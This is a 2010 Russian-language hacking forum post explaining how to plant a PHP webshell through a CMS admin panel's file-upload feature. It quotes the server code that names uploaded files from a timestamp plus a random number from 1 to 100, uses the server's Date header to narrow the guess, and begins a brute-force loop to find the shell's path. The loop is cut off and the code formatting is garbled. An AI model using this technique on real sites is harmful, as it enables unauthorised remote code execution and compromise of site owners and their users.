Показать сообщение отдельно

  #5  
Старый 22.06.2010, 08:35
RAISh
Новичок
Регистрация: 30.04.2010
Сообщений: 8
С нами: 8438441

Репутация: 0
По умолчанию

В админке разрешаешь заливку php файлов, добавляешь новость и прикрепляешь файл к ней, т.е. сам шелл и всё. После смотришь имя, которое ему присвоилось таким способом:

Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки

Зависимость: Права админа или журналиста с разрешением заливать файлы через админку

Файл: /admin.php?mod=files

Кусок кода:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$file_prefix[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]time[/COLOR][COLOR="#007700"]() +[/COLOR][COLOR="#0000BB"]rand[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]100[/COLOR][COLOR="#007700"]);

[/COLOR][COLOR="#0000BB"]$file_prefix[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"_"[/COLOR][COLOR="#007700"];

@[/COLOR][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$imageurl[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]ROOT_DIR[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"/uploads/files/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$file_prefix[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$image_name[/COLOR][COLOR="#007700"])[/COLOR][/COLOR
Ага, пишется: unixtime+{случайное число от 1 до 100}_название_файла_что_мы_вы рузили

Отсылаем файл, снифаем, что вернул сервер:

Date: Mon, 14 Jun 2010 07:35:04 GMT

делаем себе

[PHP]
[COLOR="#000000"]for($i=0;$i[COLOR="#007700"]
 
Ответить с цитированием